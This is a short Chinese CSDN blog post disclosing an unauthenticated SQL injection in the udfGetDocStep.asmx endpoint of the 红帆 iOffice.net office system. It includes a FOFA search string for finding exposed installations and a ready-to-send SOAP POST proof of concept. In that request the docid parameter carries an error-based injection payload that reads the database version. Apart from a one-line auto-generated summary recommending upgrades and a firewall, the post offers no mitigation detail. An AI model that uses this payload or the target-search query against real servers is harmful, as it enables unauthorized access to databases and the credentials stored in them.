红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞

最新推荐文章于 2024-06-20 15:09:06 发布

qq_36334672

最新推荐文章于 2024-06-20 15:09:06 发布

阅读量332

点赞数 7

文章标签： sql 数据库 web安全安全

本文链接：https://blog.csdn.net/qq_36334672/article/details/136649760

版权

本文描述了红帆iOffice.net中的SQL注入漏洞，攻击者可通过未认证接口获取敏感数据。建议升级至安全版本并部署防火墙进行防护。

摘要由CSDN通过智能技术生成

1.漏洞介绍

红帆iOffice.net udfGetDocStep.asmx接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷

2.漏洞编号

CVE	CNVD	CNNVD
-	-	-

3.影响范围

名称	版本号
-	-

4.检索特征

FOFA：app=“红帆-ioffice”
在这里插入图片描述

5.POC

POST /ioffice/prg/interface/udfGetDocStep.asmx HTTP/1.1
Host: vulIP
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetDocStep"
Content-Length: 565

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetDocStep xmlns="http://tempuri.org/">
        <docid>1'+(SELECT CHAR(103)+CHAR(105)+CHAR(75)+CHAR(83) WHERE 6621=6621 AND 7795 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT @@version)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(120)+CHAR(113))))+'</docid>
    </GetDocStep>
    </soap:Body>
</soap:Envelope>

查询数据库版本信息
在这里插入图片描述